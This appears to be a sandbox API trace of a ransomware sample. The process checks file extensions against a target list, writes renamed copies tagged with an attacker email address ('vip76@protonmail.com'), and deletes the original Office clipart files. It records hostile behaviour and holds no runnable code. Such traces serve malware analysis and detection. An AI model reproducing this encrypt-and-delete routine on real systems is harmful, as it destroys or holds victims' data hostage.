	[0198.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.158] lstrlenW (lpString=".rar") returned 4
	[0198.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString=".bz2") returned 4
	[0198.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString=".7z") returned 3
	[0198.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.158] lstrlenW (lpString=".dbf") returned 4
	[0198.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.158] lstrlenW (lpString=".1cd") returned 4
	[0198.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.158] lstrlenW (lpString=".jpg") returned 4
	[0198.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.158] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.159] lstrlenW (lpString="J0107458.WMF") returned 12
	[0198.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.159] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3568) returned 1
	[0198.160] CloseHandle (hObject=0x514) returned 1
	[0198.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220
	[0198.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.160] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.160] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.161] GetLastError () returned 0x0
	[0198.161] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xdf0, lpOverlapped=0x0) returned 1
	[0198.163] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xe00, lpOverlapped=0x0) returned 1
	[0198.164] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.164] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.164] SetEndOfFile (hFile=0x510) returned 1
	[0198.164] CloseHandle (hObject=0x510) returned 1
	[0198.164] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.164] SetEndOfFile (hFile=0x514) returned 1
	[0198.167] CloseHandle (hObject=0x514) returned 1
	[0198.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1
	[0198.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.168] lstrlenW (lpString=".doc") returned 4
	[0198.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.168] lstrlenW (lpString=".docx") returned 5
	[0198.168] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.168] lstrlenW (lpString=".pdf") returned 4
	[0198.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.168] lstrlenW (lpString=".xls") returned 4
	[0198.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.168] lstrlenW (lpString=".xlsx") returned 5
	[0198.168] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.168] lstrlenW (lpString=".ppt") returned 4
	[0198.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.168] lstrlenW (lpString=".zip") returned 4
	[0198.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.168] lstrlenW (lpString=".rar") returned 4
	[0198.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.168] lstrlenW (lpString=".bz2") returned 4
	[0198.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.168] lstrlenW (lpString=".7z") returned 3
	[0198.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.168] lstrlenW (lpString=".dbf") returned 4
	[0198.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.169] lstrlenW (lpString=".1cd") returned 4
	[0198.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.169] lstrlenW (lpString=".jpg") returned 4
	[0198.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.169] lstrlenW (lpString=".doc") returned 4
	[0198.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString=".docx") returned 5
	[0198.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.169] lstrlenW (lpString=".pdf") returned 4
	[0198.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString=".xls") returned 4
	[0198.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.169] lstrlenW (lpString=".xlsx") returned 5
	[0198.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.169] lstrlenW (lpString=".ppt") returned 4
	[0198.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.169] lstrlenW (lpString=".zip") returned 4
	[0198.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.169] lstrlenW (lpString=".rar") returned 4
	[0198.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString=".bz2") returned 4
	[0198.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.169] lstrlenW (lpString=".7z") returned 3
	[0198.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.170] lstrlenW (lpString=".dbf") returned 4
	[0198.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.170] lstrlenW (lpString=".1cd") returned 4
	[0198.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0198.170] lstrlenW (lpString=".jpg") returned 4
	[0198.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.170] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.170] lstrlenW (lpString="J0107468.WMF") returned 12
	[0198.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.171] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9612) returned 1
	[0198.171] CloseHandle (hObject=0x514) returned 1
	[0198.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220
	[0198.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.171] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.171] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.172] GetLastError () returned 0x0
	[0198.172] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x258c, lpOverlapped=0x0) returned 1
	[0198.340] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0198.341] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.342] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.342] SetEndOfFile (hFile=0x510) returned 1
	[0198.342] CloseHandle (hObject=0x510) returned 1
	[0198.342] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.342] SetEndOfFile (hFile=0x514) returned 1
	[0198.344] CloseHandle (hObject=0x514) returned 1
	[0198.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1
	[0198.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.887] lstrlenW (lpString=".doc") returned 4
	[0198.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.887] lstrlenW (lpString=".docx") returned 5
	[0198.887] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.887] lstrlenW (lpString=".pdf") returned 4
	[0198.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.887] lstrlenW (lpString=".xls") returned 4
	[0198.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.887] lstrlenW (lpString=".xlsx") returned 5
	[0198.887] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.888] lstrlenW (lpString=".ppt") returned 4
	[0198.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString=".zip") returned 4
	[0198.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.888] lstrlenW (lpString=".rar") returned 4
	[0198.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString=".bz2") returned 4
	[0198.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString=".7z") returned 3
	[0198.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString=".dbf") returned 4
	[0198.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString=".1cd") returned 4
	[0198.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString=".jpg") returned 4
	[0198.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.888] lstrlenW (lpString=".doc") returned 4
	[0198.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString=".docx") returned 5
	[0198.888] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.888] lstrlenW (lpString=".pdf") returned 4
	[0198.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.888] lstrlenW (lpString=".xls") returned 4
	[0198.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.888] lstrlenW (lpString=".xlsx") returned 5
	[0198.888] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.889] lstrlenW (lpString=".ppt") returned 4
	[0198.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.889] lstrlenW (lpString=".zip") returned 4
	[0198.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.889] lstrlenW (lpString=".rar") returned 4
	[0198.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.889] lstrlenW (lpString=".bz2") returned 4
	[0198.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.889] lstrlenW (lpString=".7z") returned 3
	[0198.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.889] lstrlenW (lpString=".dbf") returned 4
	[0198.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.889] lstrlenW (lpString=".1cd") returned 4
	[0198.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0198.889] lstrlenW (lpString=".jpg") returned 4
	[0198.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.889] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.889] lstrlenW (lpString="J0107516.WMF") returned 12
	[0198.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.890] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14008) returned 1
	[0198.891] CloseHandle (hObject=0x510) returned 1
	[0198.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220
	[0198.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.891] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.891] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.892] GetLastError () returned 0x0
	[0198.892] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x36b8, lpOverlapped=0x0) returned 1
	[0198.897] WriteFile (in: hFile=0x460, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x36c0, lpOverlapped=0x0) returned 1
	[0198.898] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.898] WriteFile (in: hFile=0x460, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.898] SetEndOfFile (hFile=0x460) returned 1
	[0198.898] CloseHandle (hObject=0x460) returned 1
	[0198.899] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.899] SetEndOfFile (hFile=0x510) returned 1
	[0198.907] CloseHandle (hObject=0x510) returned 1
	[0198.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1
	[0198.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.909] lstrlenW (lpString=".doc") returned 4
	[0198.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString=".docx") returned 5
	[0198.909] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.909] lstrlenW (lpString=".pdf") returned 4
	[0198.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString=".xls") returned 4
	[0198.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.909] lstrlenW (lpString=".xlsx") returned 5
	[0198.909] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.909] lstrlenW (lpString=".ppt") returned 4
	[0198.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.909] lstrlenW (lpString=".zip") returned 4
	[0198.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.909] lstrlenW (lpString=".rar") returned 4
	[0198.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString=".bz2") returned 4
	[0198.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString=".7z") returned 3
	[0198.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.909] lstrlenW (lpString=".dbf") returned 4
	[0198.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.909] lstrlenW (lpString=".1cd") returned 4
	[0198.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.910] lstrlenW (lpString=".jpg") returned 4
	[0198.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.910] lstrlenW (lpString=".doc") returned 4
	[0198.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.910] lstrlenW (lpString=".docx") returned 5
	[0198.910] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.910] lstrlenW (lpString=".pdf") returned 4
	[0198.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.910] lstrlenW (lpString=".xls") returned 4
	[0198.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.910] lstrlenW (lpString=".xlsx") returned 5
	[0198.910] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.910] lstrlenW (lpString=".ppt") returned 4
	[0198.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.910] lstrlenW (lpString=".zip") returned 4
	[0198.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.911] lstrlenW (lpString=".rar") returned 4
	[0198.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.911] lstrlenW (lpString=".bz2") returned 4
